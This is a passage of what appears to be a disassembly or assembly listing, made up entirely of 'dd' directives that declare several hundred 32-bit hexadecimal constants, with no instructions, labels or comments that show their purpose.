		dd 9EF72E77h, 7C18E901h, 9DF32956h, 0C84967F0h,	0E1965D3Eh
		dd 0D9A7212Dh, 15376ADCh, 0C24F15BAh, 0B8DD85D8h, 4B73688Fh
		dd 8801CC64h, 42CAD04Fh, 5EB8427Ch, 0A66E64B1h,	0DAE909F9h
		dd 0D682C1FCh, 0FB7C3AA5h, 0BC0C94A9h, 14FD41DBh, 0C44DED80h
		dd 76EBC0B7h, 0B855FDE9h, 0A28FE04Ah, 492BB292h, 160C8055h
		dd 5EAF1BBBh, 793E366h,	565A7487h, 5885BE13h, 0E93F1A0Dh
		dd 0AE7FCB25h, 67B34E6Ch, 0C363A3F4h, 0E9E3809Dh, 2B0497ECh
		dd 278AEB5Ch, 2F1B207Fh, 8255E76h, 6E729972h, 0C7E7902Ah
		dd 0D427E62Eh, 238B7F51h, 0BD4E3E57h, 31510954h, 95C0B720h
		dd 3AB36883h, 9FA8A7B9h, 4D5F5F30h, 0ED249EAAh,	9D0AFDECh
		dd 0D50E2D75h, 232EB79h, 3636A33h, 0ACDCE268h, 2E3BC086h
		dd 5BE940FEh, 314A0970h, 0EC622E92h, 487ADA2h, 75D0B25Dh
		dd 181DA1B0h, 974079B5h, 1612F9E2h, 0C8134C0Ah,	9910B1BCh
		dd 0E2FD4F89h, 11067B0Bh, 0E90702A0h, 2A9F100Dh, 23095CBCh
		dd 5F45C48Fh, 3CA0FD60h, 0B90596EDh, 9AD20687h,	0D3504929h
		dd 3389D840h, 27717D97h, 757AB894h, 97535720h, 464797Ch
		dd 6D9B7246h, 0A127EF77h, 4EB47F95h, 0BC876B20h, 0E0E50A23h
		dd 0DF2C1F17h, 141FEB5Ch, 4D221E10h, 48BC80ACh,	0E5594h
		dd 6D02DFC2h, 4A47687Ch, 1A013140h, 71F4484Eh, 0FE571706h
		dd 9EC6F821h, 0C5EB80F2h, 5A306146h, 5652AF98h,	690B3221h
		dd 7716F55Bh, 71279427h, 23A380D5h, 5C296AE7h, 0C6858B6h
		dd 5769E829h, 0DA950FCCh, 0B45E6138h, 6A2E631Eh, 7E084401h
		dd 0C464343Ah, 0CD8C25E9h, 7C9801Bh, 5A68005Ch,	0AFC29460h
		dd 0DCF5A1C9h, 0ED94A16Ch, 692F528Fh, 20A55866h, 2297C75Dh
		dd 902D1DC7h, 27059090h, 404A0685h, 0E1090809h,	79726CFEh
		dd 0BF9EB421h, 6882E5A6h, 1066096Dh, 0C77603BFh, 599025A5h
		dd 3D0C857h, 43C688F0h,	0EA3F821Eh, 0F7BDB1FBh,	0B4116967h
		dd 83287BC8h, 532940A4h, 0B05BB72Eh, 0F7242410h, 4987A687h
		dd 7AD98800h, 0E9181CF4h, 0C277A451h, 641A17F1h, 50980074h
		dd 0F74F0F1Bh, 751CD260h, 27A3C089h, 0BB2BD1E9h, 789E5E8Eh
		dd 6A5D9970h, 0F0559433h, 0EB7FFE34h, 4167351Fh, 0CB83E5A6h
		dd 310AE8C1h, 0CCD7BBBCh, 721B2BE2h, 0A62720B7h, 414E6812h
		dd 0BB36A7F3h, 7A98F8E7h, 0E6C4841h, 0EA309873h, 4B7C09A2h
		dd 4DA5B3Bh, 74319025h,	0D92AECF3h, 4E511F3Dh, 84040B9h
		dd 0D5E72FE9h, 1C5D4D9h, 770C14B0h, 85892CD6h, 13A6AC83h
		dd 0B3E7B85Fh, 0BD250350h, 68E10C7Bh, 0ED3764D7h, 610807EBh
		dd 0BAB44D78h, 4169B6FCh, 685088F4h, 0A9544F22h, 0CBE985BBh
		dd 3DC6A5EFh, 0A969F2Ch, 84BAA540h, 1297Dh, 47A1F281h
		dd 0E94A15E8h, 4588AF25h, 0C7C02F11h, 60826D5Fh, 70669895h
		dd 2DEDB659h, 48105F7Eh, 8B49A60h, 0E77C8853h, 1112DE25h
		dd 0F9ED51F0h, 222D052Bh, 0AFF498BFh, 955EFAAh,	16075FFh
		dd 0A69C5FD3h, 728F284Ah, 8B7D6931h, 96B4D0B3h,	65D965ACh
		dd 2CF4E9EDh, 86488C28h, 997A3C02h, 12FD01Dh, 35DF0ACBh
		dd 2ABDF3E9h, 876FF831h, 5936C124h, 6D819B58h, 0A52AD51Ah
		dd 0C3F0A2h, 8007E3C0h,	0DE30FDF3h, 3A5F5B48h, 77957051h
		dd 0C71F8294h, 0ED64576h, 0C23D3846h, 22D6901Ah, 0E84A8C32h
		dd 763B9C00h, 0ED0161F0h, 8041421h, 0C85021AAh,	0DFAC6BA5h
		dd 0BD9C6986h, 0E60AFC25h, 12A203Dh, 813CE927h,	7BCD80FCh
		dd 0E00BF5CCh, 30590BEFh, 0C0555BF9h, 27E9D007h, 15D5AF12h
		dd 9CC2854h, 47FB62A0h,	171CC780h, 0B6C03E26h, 74F13FAEh
		dd 25BF0257h, 0D1392259h, 0A687CB60h, 246FF5BCh, 8FEE6FBEh
		dd 5471127Ah, 91EE8E34h, 89D00333h, 5940D2F3h, 9E1C9057h
		dd 98EFEE53h, 0CE632960h, 14319472h, 0DB5A6741h, 6AAE0CDEh
		dd 0A65F9041h, 0DE9D03A5h, 6F874970h, 0CA734182h, 5602CB79h
		dd 4629C568h, 3943F17Fh, 9DC6CB58h, 5FE97EE0h, 0E9621659h
		dd 3768830Eh, 9579191Ah, 64F0ADC9h, 5C16BE9Bh, 0DFF01FD3h
		dd 0F7E92A41h, 0B8F595F4h, 978315DCh, 0D368787Ch, 0AC10800Fh
		dd 0B9F4E05h, 0D1675630h, 0B9FF3D02h, 9609B4E4h, 7E22516Eh
		dd 0F5823C0Bh, 0DB9742Dh, 236E27Fh, 0F67EB9Dh, 2E39363h
		dd 0BEB1A28Fh, 3D701864h, 0CF27F37Ah, 75D93A55h, 0C22088E4h
		dd 8A62B782h, 0C9EFD861h, 455BF4FBh, 993A599Fh,	7F9B06B2h
		dd 51C368FCh, 0DA095954h, 7E896A22h, 95E20251h,	2C68A576h
		dd 124A8D68h, 7038DA32h, 83BE043Bh, 0EE567052h,	14784CA0h
		dd 0D3A98FADh, 0BD4CE91Ah, 44968100h, 36B032C9h, 6AF55E9Fh
		dd 734C002Ch, 0E98142E3h, 0A50D486Eh, 0C1FC5923h, 0E7B30CC5h
		dd 2C2F7B50h, 0BF9655F9h, 0E04B8CB0h, 0BA2F21AFh, 20EF2ADDh
		dd 0CCA223F9h, 7926C07Dh, 56C7E462h, 5F85DCA2h,	3C3192CCh
		dd 94865B63h, 0FB07BD6Dh, 0B217087Fh, 0D16C5110h, 5B547359h
		dd 257BACB3h, 96487F13h, 0C3569B9h, 5AB1EE20h, 0EC12596Ch
		dd 5E84359Ah, 1918C86Fh, 90EF8003h, 1087D58h, 0B353F0B1h
		dd 41B551CEh, 2E4BEDF8h, 69C0340Eh, 9815606h, 4C5EE3EAh
		dd 1416774Bh, 7B48532Eh, 0D43D140h, 13D9867h, 62EF4C79h
		dd 236835E9h, 93513B99h, 0D78C4D4Bh, 0D43927E9h, 0D52085E6h
		dd 275C7E9Dh, 6E904F31h, 8D5E0F1Fh, 40875EEBh, 49FE39AAh
		dd 0B8795056h, 53BB5700h, 3504E0C1h, 0C566135Ah, 0EF0613BFh
		dd 0F52F848Ah, 75BD9ADFh, 0ADC2870Ch, 0A3A0617h, 762190EBh
		dd 7279E758h, 0D02C2BDh, 17010C08h, 6F3C99E9h, 0ECCEFE12h
		dd 0A5393D02h, 59268540h, 6BCF92C8h, 42DD8528h,	706BFD96h
		dd 0AFC0B2F1h, 4E165F44h, 9A80E020h, 0B2515ED8h, 6B77C0BFh
		dd 585B39A3h, 0AD204243h, 0C2F1FBF8h, 0C587595Dh, 1828AE56h
		dd 3C440B68h, 0D9D62A98h, 939F158h, 5159F026h, 2CD6CAE6h
		dd 84CE8AFAh, 9191B4E9h, 0C8C1C1B1h, 247CECADh,	8406ECE3h
		dd 7093B021h, 53418488h, 0EA8DEB52h, 80C07576h,	4A905552h
		dd 0F5280502h, 0C0EE814Ah, 0C0606241h, 0D9BD4C0Ch, 84988987h
		dd 10EFBA0Fh, 7DE6F4B9h, 21926D02h, 5F137FE9h, 8EEC71A3h
		dd 73B80C1Eh, 2DBDC9h, 0AF050732h, 6E482D55h, 92585656h
		dd 25AB2566h, 2BF29D50h, 30C13A3Bh, 13FA1205h, 78494CA3h
		dd 0D45FAD05h, 4FE29043h, 609D7126h, 95C32961h,	6EEC4322h
		dd 56180500h, 84025F66h, 5B070997h, 817B5D91h, 17F7BE2Bh
		dd 828FCCCh, 7FA5FD9Fh,	648E4CA0h, 9B76CCBh, 20BCD2C4h
		dd 759590E5h, 7FA2DA18h, 55E7AB9Ch, 0D3BC70C2h,	0C6F4BDEAh
		dd 6ADA292Fh, 5E1E4409h, 581F464Ah, 3E00F256h, 0E9545822h
		dd 0D49DFFA4h, 0EB5EE4D1h, 464B3899h, 337A5127h, 9ED194BDh
		dd 58F42532h, 5D45E978h, 4C3C4B3Eh, 0D68B7E49h,	4D8934DCh
		dd 0ECD6DE1Ah, 8079C52h, 0F32915DBh, 813EB85h, 69983409h
		dd 680018BFh, 659150D4h, 9AB2D5B7h, 951B462Ah, 31403264h
		dd 9C982FE9h, 6F4325Dh,	4A0C99E2h, 0F9CDFB50h, 189B8420h
		dd 7C4CA84Eh, 9160D02h,	3949BA20h, 3B34605h, 4823445Ch
		dd 0D793FA31h, 0DFF7080Fh
		dd 9C001287h, 6C6EE5EAh, 0B3E1A816h, 59A8B88Fh,	417805Ch
		dd 0B8400E32h, 0A851D31Ch, 0D43C981Dh, 376D3D53h, 8DAF1497h
		dd 5F816A20h, 0D03E81C4h, 5D23C63Ch, 90278098h,	1596FD87h
		dd 539E9995h, 0B735A370h, 0C7D0A9A4h, 7152B7F7h, 0EC040ABAh
		dd 0D4B8E3BBh, 41EACD81h, 34DB7C80h, 2E70B086h,	4BDE73BFh
		dd 0BE097D7h, 1AAB9DE9h, 68AA105Dh, 97407052h, 0F772905Eh
		dd 83547816h, 0DDED01A8h, 17F66856h, 42C9C829h,	98BBB72Fh
		dd 272B101Ah, 8551AF0h,	58140888h, 30FB4E13h, 10F3EDFCh
		dd 0E9133109h, 28E2402Eh, 581EBCDDh, 0F4B58DC5h, 0D968853Ch
		dd 50A03011h, 43B52B0h,	0E9039E01h, 0D3EEF857h,	200A51EBh
		dd 0DC1C34C2h, 18F1008h, 0CB05B368h, 0FD2A202Bh, 6B88B54Bh
		dd 4B1909EDh, 0C5852723h, 0AE77BA0Ah, 26B01FB3h, 425B5F64h
		dd 227DB317h, 0BBADE33h, 6887F2E2h, 138DB256h, 0FC9664F1h
		dd 0FFCEEFB4h, 880F316Dh, 1A0458C6h, 46AE28Ah, 48CE021Eh
		dd 0C68ADEBDh, 0BB5A170Ch, 256DB100h, 0BA71E967h, 685809EFh
		dd 5C7404B1h, 9671D5F2h, 48E7F55Ah, 807D1A5h, 8C307CD0h
		dd 5AF1091Ah, 5C05A033h, 5667702Fh, 9D182744h, 0E1B6D3E9h
		dd 5A455625h, 0A859D802h, 8319B003h, 674BC9C2h,	0C4F6A59Eh
		dd 0AB1BF35Ah, 6461BC3h, 0D7233914h, 53170C2Bh,	84041794h
		dd 5167AFDh, 4FB4094Bh,	95ABEEF7h, 97A0647Dh, 94C910Bh
		dd 64E7749Fh, 4E1CE835h, 0EF2AC5B5h, 7FE9C338h,	7214B7EAh
		dd 80D8D1BFh, 6CCE2EA6h, 0E54AD15Dh, 493BAFFCh,	36D99C98h
		dd 6D0F16F2h, 0DCEA0111h, 5D5B08A8h, 0A2B5E0ECh, 5F3F3F4Eh
		dd 52044EF6h, 0AA3363E9h, 5EF75D70h, 55C52568h,	555A9656h
		dd 4B5B45C0h, 0EF812C17h, 0CF293BD0h, 0EB84BE9h, 6AC65FAFh
		dd 0D6B70CE6h, 3E9719BEh, 3416F4D3h, 0A01C65B7h, 0F9DE5DEFh
		dd 50B5F392h, 7F407BA4h, 0E1F43C80h, 65934119h,	128740E2h
		dd 0A3607C6Ah, 5005099Ah, 0D7010072h, 1CDBBB53h, 0CAA06D33h
		dd 5EEE82Eh, 5B35FAB7h,	0EA24C424h, 0C4FE9F65h,	0B7B3C01Eh
		dd 0A5B0E820h, 5C3BA127h, 175ECB83h, 0D7D29A29h, 7BE03DE0h
		dd 6495B772h, 415D69F7h, 0AEBF8DD9h, 689D4238h,	96355456h
		dd 0C98BC3F9h, 40553362h, 1FC8CA11h, 4C35711Ch,	0C28BB687h
		dd 8002F90Ch, 3DC1266Eh, 0F28408EAh, 0AF2427A2h, 20BB3157h
		dd 6028C593h, 725F472Fh, 0B0883A5h, 0E138350Ch,	0E9C1FADCh
		dd 2D7FAFD7h, 3455F57Dh, 2D055A6Dh, 7D2A0274h, 0A35904FFh
		dd 9BB5074Bh, 6C9FEC07h, 0C6B312C1h, 3B82C2C2h,	83BCD3B5h
		dd 0B44C7AEEh, 7FD601C9h, 448C08B9h, 5F32FE8Bh,	41D10631h
		dd 493503EEh, 58DEFB01h, 1BF7283Ah, 0D19798B2h,	5EE970ECh
		dd 0BFB47A4Bh, 6E3C162Eh, 0E2780160h, 2F6A2C2Ah, 4EA2E4E4h
		dd 0B36120C8h, 0D9003085h, 59CC285Bh, 1BFBEB80h, 4FE546E9h
		dd 0D3570DC0h, 2B5A1F7Bh, 8059C709h, 5473B8F2h,	145EBC29h
		dd 0E91208EEh, 0E48DB192h, 37012A6Ah, 0F9CD2D31h, 0BB2AE80Eh
		dd 8BFD590Bh, 5BFFF076h, 0E0C6F95Ah, 0C1A90CE9h, 258ECF91h
		dd 0E7FC20DDh, 0AD543A3Ah, 8799514Ah, 0ABE36CE8h, 558EA9D5h
		dd 14655DC2h, 69FE5C93h, 6D216AACh, 5002431h, 2C2FDC89h
		dd 0BDF3585Dh, 0C1FEE6DAh, 827DFD28h, 15E65ABDh, 969D6BE9h
		dd 0EC67B803h, 9ED94E93h, 0FDE83EADh, 0DCE54B9Eh, 2F1B67D5h
		dd 6E0A90F5h, 0F529C179h, 2A9FA652h, 0E9A370FFh, 7FE13C4Dh
		dd 680960B6h, 9513F9Eh,	1C8E985h, 0ABE58FB8h, 0F7526AC5h
		dd 0AA1212EFh, 0E9839FB2h, 9102B3DDh, 0A05BE5C2h, 6DF8D75Eh
		dd 0AA640882h, 59C2E8CBh, 26CCA0ABh, 0C0EE2BF1h, 4B78569Fh
		dd 0E052C09Dh, 0EC6AE16Eh, 7A4AB094h, 5B96B877h, 7B30FFBAh
		dd 9C953B0h, 852FE93Bh,	97BD84FBh, 46E40D2Ch, 0D2A49DEFh
		dd 7009EFE3h, 21EC7DD0h, 81BA52F6h, 75DA4095h, 27843738h
		dd 2B05E1E6h, 9AB13E19h, 953B1B30h, 0C6575509h,	0F3EDBFC5h
		dd 0E955102Fh, 0B87B479h, 48553058h, 80A7BF68h,	5A12EDBDh
		dd 191662C4h, 953E13E6h, 4B1BF3DFh, 7961F6ADh, 7F78FCE9h
		dd 0CAEFF852h, 46512F67h, 81544EB3h, 0C22618E7h, 678D4EFDh
		dd 62414D2Bh, 0A092C750h, 65DC4F60h, 856C2B28h,	719ABF2Fh
		dd 895D9E64h, 1DD16F89h, 2CD1F0C4h, 0CC9F987h, 6806606Bh
		dd 9358ADh, 6A0B061Dh, 0C57A8570h, 284AA6A2h, 5F7D298Fh
		dd 7221D695h, 8A2A0AD2h, 8303B3CCh, 312CA935h, 4FB425EFh
		dd 3EE8E8Ah, 5E40395Fh,	642D0C00h, 32E94978h, 0FA22B7BBh
		dd 47AFB6A5h, 8A8F81C4h, 41A24BEEh, 0C473E9C2h,	2397D4D9h
		dd 9D5E5DE8h, 0FA872412h, 92C5A9Fh, 114F7601h, 32C2670Bh
		dd 125567D7h, 25DF715Ch, 420B8AC6h, 0CFC85277h,	12706C02h
		dd 0E19BC160h, 14F52381h, 2ABEB5FEh, 27746AE2h,	4E1CF77Fh
		dd 72957E95h, 7D9ECCEBh, 53F689F7h, 2FC75754h, 802F9EA4h
		dd 2014B72Eh, 5B6607F9h, 300CC180h, 0B05068F1h,	57E94B16h
		dd 0E0AE24C4h, 0B492CF9h, 0A5F33F1Fh, 0BBEBC098h, 0FD5EE0B5h
		dd 81D721E8h, 0DE06B5Dh, 20BFEEFBh, 0E6902906h,	35AEC94Fh
		dd 8F50FA54h, 80D19793h, 9C7FFF59h, 554C5876h, 59A927E0h
		dd 5E6807EDh, 0ED5D092Ah, 8E6806E5h, 0A755FD18h, 8D912B95h
		dd 1EED8AB9h, 0BA09163Ch, 0BF0B0CD3h, 0AA29EBD7h, 45665574h
		dd 0BD81182h, 1D626309h, 0C0095027h, 4D8D0825h,	3DDE48EAh
		dd 0C44293Eh, 49E95E02h, 0E216F995h, 0BD00CD4Bh, 14A83E71h
		dd 0E3DDF720h, 0D8138D48h, 5425AC44h, 1B985A4Dh, 8F37B205h
		dd 0CF040905h, 0EAFCE38Ah, 0CD685080h, 807BB0Fh, 0F6A30558h
		dd 0C1F74067h, 0A4067689h, 0AC7E1256h, 91D7A1B5h, 6F19205h
		dd 660AC3D6h, 0F606A246h, 710A500Dh, 0BD334BC3h, 67184C84h
		dd 7DEB5E10h, 8E3E0147h, 83559E2Dh, 2407705h, 0E9429447h
		dd 0CD518029h, 5E0996BCh, 5962BF71h, 4F57EF04h,	0AC0413FFh
		dd 0F1EE016h, 1281607h,	682DEBFEh, 2C6C4761h, 16E3A64Ah
		dd 7640497Ah, 8FC4BB53h, 0A9E34A32h, 0F28410C8h, 4D23BE02h
		dd 0FBE17366h, 7432AD22h, 2350176h, 30FAA6B0h, 680D1C79h
		dd 0B5016F55h, 0D8EE0804h, 360BEA95h, 0A5381E47h, 81AC206h
		dd 792182BBh, 2D94F5C1h, 5408BA9Bh, 106814A8h, 15705927h
		dd 0D812829h, 100317BDh, 0B54505EDh, 9C0ED9E8h,	1794A9Eh
		dd 57D518BCh, 4AE90101h, 5CE10B7Ah, 0D25AB174h,	82734FEFh
		dd 867E5D45h, 94365858h, 2D20EA2Dh, 5EAC4654h, 1C556A70h
		dd 0D6E9052Eh, 5C788865h, 0F734D5E8h, 0B68008D2h, 3AC6A5Ah
		dd 5D535535h, 0DDE84B5Bh, 0A602B951h, 21151374h, 203344CDh
		dd 9F946D4Ah, 0A7964B4Fh, 0A860811Fh, 77032C51h, 97C10549h
		dd 0B8CA881Ah, 0D23B52A5h, 3A42E62Dh, 0FF29FFC6h, 0F416BEF6h
		dd 77B494F0h, 84F2279Bh, 12071324h, 8B665C0Ah, 59D8C681h
		dd 64214604h, 0E6560A20h, 4F4A069Dh, 285DBEE9h,	83D0514h
		dd 0AFB84BC6h, 1DDF5205h, 0CC9BC00Ch, 3E3BB769h, 0EF507801h
		dd 0E2965808h, 0D0FA7F94h, 441A1FC4h, 94E85E17h, 4A115610h
		dd 0DBB8B7E8h, 94A37D58h, 4DCB03EFh, 45D576Ch, 8E16640Eh
		dd 0AB24953Ah, 0BB9252A6h, 68DDCD03h, 7C14BC4Dh, 0E811E234h
		dd 500B1BBEh, 59A2B7B2h, 0EEB341B8h, 81B95FBh, 0CB295B0Ch
		dd 64680B63h, 48F354h, 2C0366A3h, 0B154B7E9h, 537087CCh
		dd 0B9947597h, 6796EF01h
		dd 0CF010372h, 8138844h, 0C83F3089h, 260FBA8Fh,	46643670h
		dd 2C147508h, 119EEC1h,	0DF688FF6h, 7B1CB52Fh, 0B54431EAh
		dd 7AED6F7Dh, 0F24BC058h, 99AA93AEh, 4BFC3BDCh,	2238020Eh
		dd 4F6E0853h, 9DB7625h,	52251B5Dh, 0CD37EF58h, 0CB9FB5D2h
		dd 704EB1EDh, 6DBF84C3h, 820623DCh, 44A53CE9h, 74D538A4h
		dd 88987EBDh, 59CD5115h, 509B079Dh, 88D5EAC5h, 0D1C001BBh
		dd 0CC8145EDh, 0FA2D2FEEh, 9620D052h, 0FFA30B81h, 0E762745Ch
		dd 0F680012Ch, 6BF5C1A6h, 65E1AAB2h, 2C67D8Ah, 49B26FBAh
		dd 0BDC7864Eh, 0F189090Fh, 4BC210E9h, 7D75095Fh, 98C3496h
		dd 53B56816h, 0A626036h, 4D922F0Fh, 6115029Dh, 51405717h
		dd 0F6502634h, 34C7ED0h, 62F1819Ch, 0FC7AC910h,	0E42A7F05h
		dd 0E6309188h, 799C3A05h, 0A1DE5BEBh, 0FAC2FEFh, 2DF031F1h
		dd 2B6850Eh, 19034F56h,	880B4B11h, 1218BD58h, 0BA025223h
		dd 0B8CD6A40h, 0B57FF55Ah, 0AA8C0D8Fh, 0F5EFEE63h, 0C9AE50A8h
		dd 20285F8Fh, 630BB414h, 5583EA1Eh, 804E0404h, 0C6105E9h
		dd 71545B63h, 566AF23Ch, 724D1C64h, 0E360060Ah,	46091943h
		dd 40C8E96Dh, 0C1EB2923h, 0F206F42h, 6A51F521h,	0FEF37C40h
		dd 0F81FDF95h, 615C96D8h, 4A46C7E9h, 0D5B45BFDh, 0EB21A098h
		dd 3B530257h, 146D6806h, 0BD60815Eh, 485B52F4h,	0B104483Dh
		dd 0FAC4304Fh, 5A31F345h, 687670EAh, 0A8B96D82h, 0F0F34713h
		dd 2191C85Eh, 5F0589BFh, 2A96D214h, 6E0B79ADh, 0F545C2C9h
		dd 4F965194h, 0AD7BBAE1h, 5B3F94EBh, 4029B388h,	0DEECC3B9h
		dd 81C4704Ch, 6B8E4ECEh, 4A683770h, 0A20E77C1h,	42DE7714h
		dd 0C191B062h, 783C0761h, 520929E6h, 7CA790E9h,	0FE4C7910h
		dd 0BD16147Fh, 0AF6617E8h, 73927FC5h, 4D4B345Fh, 9E97D96Fh
		dd 2A2C8956h, 61ACBA76h, 8ACB923Ch, 83D32049h, 28FA497Bh
		dd 32995910h, 0F17D157Bh, 7D6CEAFFh, 0F78BD4D1h, 0ADB37CD1h
		dd 1E1927F6h, 29D4D30Ch, 3609BF79h, 9D909657h, 0CCA76A2h
		dd 7CBB5302h, 0AC67436Fh, 2CAC0A4Bh, 2F842778h,	8960D4F4h
		dd 9670B86Dh, 0DCDEA745h, 0D2B508A0h, 15EC9DC0h, 513C5C95h
		dd 28269B5h, 592AF8EEh,	50BBD84Bh, 55E908C6h, 803FB425h
		dd 4ED267F5h, 28D06880h, 0EC9EBCB9h, 9F13952Bh,	3BDC1FC1h
		dd 502A2A7h, 7EB95BBEh,	442D30E1h, 226CD607h, 93CFFE3Bh
		dd 0A2F453D3h, 5CA04038h, 0D56BA8BEh, 0E8D45CB1h, 0BD01306Dh
		dd 0A488502Bh, 0FF84D529h, 0BEF3FEE9h, 0FE85FA49h, 1CD72D1Bh
		dd 3BE92C31h, 8B7EAF70h, 3283A113h, 2BC80752h, 0C2204432h
		dd 407EC769h, 3B4EF682h, 6605440Fh, 0CC0111FBh,	2AB6B234h
		dd 7508F0AAh, 37B5321Fh, 0DB686D4Dh, 13CDCB2Bh,	87EC2BEFh
		dd 0AC7E12D6h, 1AE9673h, 0E15EA9FDh, 0FE2C0034h, 2812B837h
		dd 501D542Ah, 0BF19A702h, 0B0F244C6h, 974F049h,	0F97A3668h
		dd 0BA189B2h, 0C7648BF6h, 0CBF724A1h, 0ACAE8416h, 98EFE4A2h
		dd 0B44A68DCh, 53CBEEFCh, 0E9F8ACF4h, 91224AC1h, 1155BA8h
		dd 0FCBF5241h, 58AC90DBh, 40495006h, 77BF0951h,	13B1D0C8h
		dd 367A1A68h, 0E917732Eh, 0CBAB8B8Eh, 0E4AC4B96h, 973DA686h
		dd 9BD8CB5Ah, 32C32780h, 0EB759558h, 0D9AE06C9h, 526641F4h
		dd 0C7003B53h, 0E9CB8815h, 9FC8BF64h, 3C14F9E7h, 281548Bh
		dd 0E6462C1Ch, 0CDC5521h, 0A0DBF18Eh, 8905CBBEh, 49C81C53h
		dd 72DD401h, 0B110F44Ch, 73BD5FFEh, 507977C1h, 35E73054h
		dd 724FC0FCh, 49B83640h, 4B29450Bh, 0D0B2AC74h,	0EAF24E0Ch
		dd 543440D2h, 5D4E9622h, 65A7BC9Eh, 16418AD0h, 657569E8h
		dd 0C076279Dh, 2E9DFF69h, 43A17125h, 357B7343h,	0BFD28917h
		dd 41528BE0h, 0F90F3E6Ah, 0C899C2EEh, 59787D21h, 0F66BE409h
		dd 20407E36h, 8474BF07h, 42D9E947h, 2F025F80h, 0AD04BD50h
		dd 548B44FEh, 515306AAh, 33845E2Eh, 0C9D91993h,	0EC002B6Ch
		dd 79D4058Fh, 3A6E59E9h, 2878B300h, 0F65B66DDh,	0C5FED503h
		dd 7D07E5C0h, 3B6F414Eh, 0F1AE8694h, 283E6131h,	506F8B8Ch
		dd 20519514h, 289DE9E1h, 5804A562h, 0AB76DEA0h,	0E913B3B9h
		dd 51C5F1h, 0C9B25253h,	284ED1B1h, 74D474F2h, 6448983Fh
		dd 38E7E618h, 5EB98868h, 3FC1A017h, 0E3DCF289h,	0CA9DC18Ch
		dd 600F337Eh, 744A545Ch, 73E55A40h, 97156E20h, 0E9912257h
		dd 7F2F6A48h, 8C765E4Ah, 20B8DABDh, 76E01D2Dh, 68775258h
		dd 41CC494Fh, 0CD593146h, 4DC6ADAh, 0EFF992EBh,	0D19A9C0h
		dd 816E4900h, 0E05A7BE3h, 9C0CC04Ah, 0E91BA114h, 49D18049h
		dd 0EC00D666h, 33F845B2h, 0C57A4DE9h, 15535825h, 163D6807h
		dd 55E5D509h, 28B0C020h, 0CC3F42BDh, 0A9894EB2h, 0E921842Ah
		dd 0B1C935BEh, 3AFB2EA1h, 5EE848EDh, 9FBB7D5h, 7355D098h
		dd 9DD6C939h, 5639574Bh, 2CAE2B5Bh, 52600A7Ah, 0BE43ED49h
		dd 0F4AB4BF4h, 0EC4133E0h, 60996641h, 0AE4B29BFh, 0A4D24F1Eh
		dd 63312682h, 0ABA94ED5h, 0FAE9D863h, 0C5B5AE36h, 74BEAF9Ch
		dd 0F513F447h, 179D9BBAh, 8B42D9Fh, 0D2AE5E9Dh,	52B58244h
		dd 11016120h, 0A8A1CFE9h, 7F7891CCh, 5E82B727h,	2FE86887h
		dd 0E2F7C1C2h, 884DFF7Ch, 0CAE3A424h, 55584C9Eh, 12DDA85Eh
		dd 0AB406C66h, 0C25A12F3h, 0D8012D9Fh, 2EE13DD0h, 14138BFh
		dd 2CFD6B7Dh, 60A9A4F8h, 7741E818h, 5781E5CBh, 521AC42h
		dd 0C6E4F45Ah, 0A52BFD41h, 3A8EF1C4h, 9B418FCh,	9C622619h
		dd 2AD38461h, 226F8DB1h, 84D15A40h, 0CB5D3443h,	0B0F2DB5Eh
		dd 5AC52030h, 72BF8258h, 4A11F512h, 5EFB2CABh, 67CB34C8h
		dd 0E081B9BCh, 3CAF5B67h, 8782ACB2h, 0DCD98111h, 449D4A44h
		dd 0CEFCA0E1h, 0EA06160Bh, 0FB20176Ch, 0DA93435Ch, 0DE1474D2h
		dd 0AC4527ECh, 8EAA5E96h, 20769E2h, 5ED4E95Dh, 39F98BF8h
		dd 408CE0F9h, 703B1BF5h, 0CBFC951Ch, 90BFE5CAh,	0B6486B5Ah
		dd 0FC66B9C9h, 0ECF2FA95h, 48E403EAh, 0CA292F2Eh, 5081C41h
		dd 5A09BCF1h, 41398BE0h, 4ECC39B2h, 0FF9687FCh,	0C020B729h
		dd 506D77D4h, 17CAB43Dh, 0A1F07BD1h, 0EEF2E036h, 3FF8BF09h
		dd 9DE60229h, 5071FE6Eh, 7F827BCBh, 0D60613C6h,	425EF287h
		dd 0F8911E46h, 0D530BED3h, 6D47ED68h, 0D46CE527h, 828F094Bh
		dd 58FD3975h, 0C442B22Eh, 0FA162087h, 9AB2C17h,	0EE804B8Eh
		dd 76CCF734h, 45B7317Dh, 0E689972Dh, 0CE5E783Fh, 1FFF0B44h
		dd 680C90A2h, 52DD4C2Ah, 5D5C41CBh, 0C328CB48h,	0F89FB5ECh
		dd 14C56085h, 0D075DBB8h, 5D263F7Ah, 0DF4B973Ah, 7B0CADADh
		dd 1750B9F4h, 0E75637E9h, 5BD8138Fh, 84A15DBCh,	18203BB7h
		dd 2CB0B5F2h, 1290EC73h, 4FA3A297h, 5FC96CB9h, 0BFA9DD84h
		dd 82684860h, 0B08A885Bh, 9699CEBDh, 68CA8CB6h,	0D8792C1Ch
		dd 8F64833h, 0A959EA61h, 7DDEA2D6h, 0E2E04080h,	43659771h
		dd 0BD7FF15h, 87DBF759h, 67F71383h, 92FB8733h, 0F3E043CFh
		dd 11086FD3h, 20910197h, 4AF64BE5h, 0F1007EDBh,	3ACF525Eh
		dd 0B506E1C1h, 0FB47D4C2h, 0DC183E02h, 0DB90DD0Dh, 0B9A55358h
		dd 0C2B3FC25h, 9254793Ch, 964E8B50h, 0CFAE63DCh, 0C5BD2600h
		dd 81325020h, 641C01F5h, 0A1E97B5Fh, 10B92A7Fh,	0A881C44Bh
		dd 0B140938Bh, 6C5BF681h, 0E4644AC0h, 4404AEB9h, 0F329DF97h
		dd 2102C7CBh, 0BB65E9DAh, 3500C245h, 0EDB07E94h, 0F5C25489h
		dd 0B9E91356h, 4FD5A496h, 41C41B0Bh, 43FF8289h,	42F879DEh
		dd 0A19A5D40h, 5850055Ch
		dd 0ACF84B68h, 0B850C031h, 4B9B0C94h, 3E6EA91Fh, 133FC11Bh
		dd 878CAAE1h, 0E0EF4179h, 0EC95386Ah, 2F1E3154h, 0CAD188AFh
		dd 0F25A5161h, 0E696262h, 8AF3C9DEh, 9A874B08h,	1360F607h
		dd 0A2404AF5h, 0B15385E6h, 1CE9123Bh, 4329BF8Ch, 80C1BD25h
		dd 0AFEC2013h, 0BC29EC8h, 670BAED5h, 41383A75h,	146BF0F9h
		dd 0B902AE3Fh, 4FC1167Ah, 0AF7648C1h, 16C8F00Dh, 0BC52B068h
		dd 405EB2B6h, 939F541h,	0DF290579h, 0A4C76F38h,	28F62612h
